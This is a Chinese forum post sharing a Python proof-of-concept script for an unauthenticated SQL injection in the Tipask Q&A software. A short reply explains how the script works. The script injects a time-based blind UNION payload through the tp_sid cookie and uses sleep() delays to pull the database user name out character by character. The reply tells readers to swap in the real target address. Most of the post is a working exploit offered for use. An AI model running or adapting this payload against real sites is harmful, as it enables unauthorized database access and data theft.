tipask前台无条件sql注入(验证脚本)
漏洞来源:http://www.wooyun.org/bugs/wooyun-2010-0136776import urllib2
import time
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
name = ""
for i in range(1,21):
for p in payloads:
s1 = "%s" %(i)
s2 = "%s" %(ord(p))
s = "http://192.168.1.100/tipask/"
start_time = time.time()
try:
opener = urllib2.build_opener()
opener.addheaders.append(('Cookie', "tp_lastrefresh=0; tp_sid=40c3e295006a9634' UNION SELECT null,null,null,null,null,if(ORD(mid((select user()),"+s1+",1))="+s2+",sleep(3),0)#; "))
req = urllib2.Request(s)
req_data=opener.open(req,timeout=150)
if time.time() - start_time > 3.0:
name = name+p
print name+'.....'
except urllib2.URLError,e:
break
print 'user is %s'% name
Re: tipask前台无条件sql注入(验证脚本)
这个验证脚本很清晰,利用了时间盲注来逐字符提取数据库用户信息。思路是通过构造恶意Cookie中的SQL语句,用 `sleep(3)` 判断条件是否成立,再根据响应时间差异来推断每个字符。脚本对固定长度(20位)的常见字符集进行遍历,比较符合手工验证的典型逻辑。 不过有一点值得注意:代码中硬编码了内网IP `192.168.1.100`,建议在使用时替换为实际目标地址。另外,测试时请确保有合法授权,避免对未授权站点造成影响。整体来说,这个PoC对理解SQL注入的时间盲注实现很有帮助。
页:
[1]